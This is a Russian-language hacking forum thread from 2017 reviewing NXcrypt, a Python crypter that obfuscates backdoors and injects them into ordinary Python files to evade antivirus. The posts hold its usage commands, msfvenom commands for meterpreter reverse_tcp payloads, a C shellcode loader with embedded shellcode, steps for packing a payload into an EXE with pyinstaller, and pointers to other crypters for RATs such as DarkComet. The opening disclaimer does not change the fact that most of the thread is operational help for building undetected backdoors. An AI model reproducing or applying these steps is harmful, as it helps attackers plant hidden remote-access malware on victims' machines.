PDA

Просмотр полной версии : NXcrypt-python backdoor framework


Vertigo
21.06.2017, 07:10
Информация,которая представлена в обзоре ,предназначена исключительно для ознакомления

и изучения информационной безопасности.

Администрация ресурса и автор обзора не призывают к её использованию в незаконных целях.

Приветсвую всех Форумчан,Дорогих постоянных гостей нашего ресурса и тех,кого интересует ИБ.
Буквально,несколько дней назад,Hadi опубликовал великолепную ,на мой взгляд работу.

Это полиморфный Криптор,обладающий своими модулями шифрования и инжекта.
Он использует внутренний модуль python py_compile , компилирует код в байт-код файла .pyc file
И затем конвертирует этот файл в обычный .py,обфусцируя код таким образом,что меняется md5sum на выходе.

Модуль инжекта предназначен для ввода вредоносного файла python в обычный файл с многопотоковой системой.

Вот такой инструмент,обработанные файлы которым ,по состоянию на текущий момент,не детектятся AV.
Удобен он конечно в совместной работе с Metasploit.
Никаких особенных зависимостей и предпочтений Linux-дистрибутивов не имеет.

Ну чтож,приступим:

Код:



git clone https://github.com/Hadi999/NXcrypt.git
cd NXcrypt/
chmod +x NXcrypt.py
sudo ./NXcrypt.py --help (криптор требует работу от рута)


Опции можно посмотреть на скриншоте

https://forum.antichat.xyz/attachments/4779525/img_933b9d16b6.png

Применение и алгоритмы команд:

Код:



sudo ./NXcrypt.py --file=backdoor.py --output=output_backdoor.py # encrypt backdoor.py and output file is output_backdoor.py
sudo ./NXcrypt.py --file=shell.py # encrypt shell.py and default output file is backdoor.py but you can edit it in source code
sudo ./NXcrypt.py --help # NXcrypt help
sudo ./NXcrypt.py --backdoor-file=payload.py --file=test.py --output=hacked.py # inject payload.py with test.py into hacked.py with multi-threading system


Прилагаю также видео от автора,где можно посмотреть работу на примере генерирования полезной нагрузки с помощьюmsfvenom.

Ну ,а я на этом желаю вам отличного настроения и до новых встреч.

Ondrik8
21.06.2017, 11:24
Молодца!) хачу ищо!))

Ondrik8
21.06.2017, 14:37
Hackaton192 сказал(а):

А чем можно конвертнуть потом Python в Exe формат?


py2exe <--- о нем

Vertigo
21.06.2017, 23:53
Ondrik8 сказал(а):

Молодца!) хачу ищо!))


Пока небольшой тайм-аут)) Не один же автор обзоров.Неделя,надо отметить,
удалась урожайной по отменному материалу,хотя ещё не закончилась.
Коллег всегда приятно читать,узнавать новое,а это отдых и чувство комфорта.
За ссылку спасибо на py2exe-отличное дополнение темы.

yvv4recon
22.06.2017, 12:47
Люди добрый, нужен совет!
1)Из metasploit получаю shellcode:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.123 lport=12345 -b \0x0a\0x0b\0xff -f c > /home/iam/shellcode.c
2) Затем пытаюсь запустить.
#include
#include

unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x 05\xef\xff"
"\xff\xff\x48\xbb\x83\xa9\xe9\x96\xd1\x41\xaa\xc9\x 48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x98\x16\x fc\xd8\x19"
"\x33\x7f\x93\xe1\x60\x40\x9c\x70\x63\xa3\xa1\xe8\x b3\x24\xd6"
"\x4e\xaf\x9f\xd3\xc3\xc0\xce\x48\x2b\xa8\x96\xe9\x a8\xb7\x99"
"\xd4\x09\x3d\x81\x3a\xab\xe9\xa6\xe8\x81\x02\xdb\x 32\xf8\xa1"
"\x1f\x37\x2b\xba\x93\xe9\x83\xb1\x99\xd4\x18\xf4\x 93\x8c\xac"
"\x16\x70\xd1\x41\xaa\xc9";

int main(void) {
printf("Shellcode length: %dn", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();

return 0;
}

НО ОН ВОЗВРАЩАЕТ SEGMENTATION FAULT

В чем может быть дело?

Vertigo
23.06.2017, 16:09
yvv4recon сказал(а):

В чем может быть дело?


Параметры LHOST,LPORT и др.указываются только заглавными.
С портом понятно,что для примера.
Попробуйте вначале так:
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=12345 -a x86 --platform Linux -f c
#include
#include
Т.е. ,без отсечения -b (вредных символов)

IF_ELSE
23.06.2017, 17:58
Спасибо, очень познавательно! Попробовал конвертировать при помощи утилы py2exe - вываливает ошибку такого плана

c:\Python27>python setup.py py2exe
running py2exe
creating c:\Python27\build
creating c:\Python27\build\bdist.win-amd64
creating c:\Python27\build\bdist.win-amd64\winexe
creating c:\Python27\build\bdist.win-amd64\winexe\collect-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\bundle-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\temp
creating c:\Python27\dist
*** searching for required modules ***
error: compiling 'meterpreter2.py' failed
TypeError: compile() expected string without null bytes

Может кто из форумчан сталкивался? Гуглить пробовал, но решения так и не нашел.

kot-gor
23.06.2017, 21:32
IF_ELSE сказал(а):

Спасибо, очень познавательно! Попробовал конвертировать при помощи утилы py2exe - вываливает ошибку такого плана

c:\Python27>python setup.py py2exe
running py2exe
creating c:\Python27\build
creating c:\Python27\build\bdist.win-amd64
creating c:\Python27\build\bdist.win-amd64\winexe
creating c:\Python27\build\bdist.win-amd64\winexe\collect-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\bundle-2.7
creating c:\Python27\build\bdist.win-amd64\winexe\temp
creating c:\Python27\dist
*** searching for required modules ***
error: compiling 'meterpreter2.py' failed
TypeError: compile() expected string without null bytes

Может кто из форумчан сталкивался? Гуглить пробовал, но решения так и не нашел.


у меня тоже не вышло сконвертировать причем как в винде так и в линуксе..буду признателен, если у кого получилось, поделится опытом..

Vertigo
24.06.2017, 12:33
Vertigo сказал(а):

Параметры LHOST,LPORT и др.указываются только заглавными.
С портом понятно,что для примера.
Попробуйте вначале так:
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=12345 -a x86 --platform Linux -f c
#include
#include
Т.е. ,без отсечения -b (вредных символов)


Архитектору только требуемую не забудьте указать (у Вас x64)

flesh91
28.06.2017, 16:56
Хочу узнать получилось ли кому то конвертировать в EXE так как у меня такая же ошибка как у форумчан выше: "TypeError: compile() expected string without null bytes"

Vertigo
29.06.2017, 13:10
flesh91 сказал(а):

Хочу узнать получилось ли кому то конвертировать в EXE так как у меня такая же ошибка как у форумчан выше: "TypeError: compile() expected string without null bytes"


Пришлось съимитировать такую ошибку у себя.Скорее всего какие-то параметры указаны были неверно (отступы,возможно)

Расскажу,как иногда это делаю.
Сразу оговорюсь,что py2exe не пользовался.
Если кто желает переквалифицировать py в exe после полиморфного чудовища из темы,
то это плохая идея.

Использую для таких целей pyinstaller.
1.Готовлю файл py c помощью msfvenom
Например,даже без указания цели:
msfvenom --payload=python/meterpreter/reverse_tcp --out=solomon.py
Готово,этот файл можно будет найти по пути cd-ls-solomon.py

2.Для удобства можно скопировать в директорию test (к примеру) на рабочем столе.
#cd, #ls, #cp solomon.py /root/Рабочий\ стол/test

3.# rm -rf solomon.py (нечего мусорить лишний раз)
4.Захожу в директорию test и работаю с pyinstaller
cd /root/Рабочий\ стол/test/
ls - видим наш solomon.py
Теперь pyinstaller solomon.py

5.Всё,он сам сделает требуемое.И это без дополнительных опций (сжатие и т.д)
В директории test создадутся ещё 2 директории build и dist
В них можно найти файлы без расширения solomon
Это и есть экзешники.

Иногда использую вот такую красоту.На Kali Работает,тоже предлагает форматы.
https://github.com/r00t-3xp10it/venom.git
Вопрос следующий в том,как ещё и закриптовать в exe-формате.
Avoidz из таких инструментов,можно ещё много нарыть на форуме по бай-пасам.

IF_ELSE
29.06.2017, 18:41
Уважаемый Vertigo (https://forum.antichat.xyz/members/572244/) прав - обфусцированный и закодированный py-файл не конвертится. Я сделал полезную нагрузку msfvenom-om и использовав библиотеку ctypes вставил ее в py-файл, а потом pyinstaller - все прошло. Ради интереса заюзал NXcrypt и попробовал собрать - та же ошибка. Единственный момент, который не учел - разрядность ОС. Ехе при запуске ругнулся на несовместимость.

Vertigo
10.07.2017, 15:14
jaguar сказал(а):

Как исправить? вожу вот так pyinstaller solomon.py


Давайте с самого начала: как устанавливали pyinstaller, как сгенерировали файл.py,как его назвали.
Из примера ,файл solomon - это импровизированное произвольное название выходного файла.У Вас он может быть иным.

Vertigo
10.07.2017, 23:58
jaguar сказал(а):

pyinstaller yourprogram.py


Зачем команду запустили эту? Это пример запуска из мануала.
Вот скрины как и что должно получиться.

Vertigo
11.07.2017, 15:46
Max2 сказал(а):

Чето не пойму, Так будет он собираться в exe после NXcrypt или нет?


Я не пробовал,т.к. знаю,что теоретически это возможно,но очень сложно- переиначить закодированный обфусцированный файл.
За других я не могу сказать,и это будет правильными словами,поскольку нужны очень глубокие знания и опыт .
К тому же,например ,не понимаю,чем не устраивают другие решения с файлами-экзешниками,коими богата наша база форума.
Инструмент задуман для совместной работы с Метасплойт,позволяет быть необнаруженными файлам,при атаке на современные системы.Разрабатывать конкретно под него что-то другое для работы с ним ? Это не актуально.Время идёт,лаборатории работают над своими продуктами(и правильно делают).Когда-нибудь,его использование тоже станет неприменимым,а появятся другие решения.

Vertigo
12.07.2017, 20:13
Max2 сказал(а):

Есть ли какие нибудь крипторы Ратников например darkcomet типа NXCrypt только для exe? если знаешь синь ссылку пожалуйста


В поиске вбиваете "backdoor" на форуме ,найдёте много интересного по своей теме.
FatRat - в умелых руках ,то что нужно. На Зед Хакере можете поискать крипторы по своему запросу,для кометы там тоже что-то недавно было. Skull Cryptor можно поискать в инете. На джитхабе много ,ссылки давать не буду -меня поймут неправильно и к посту это не относится.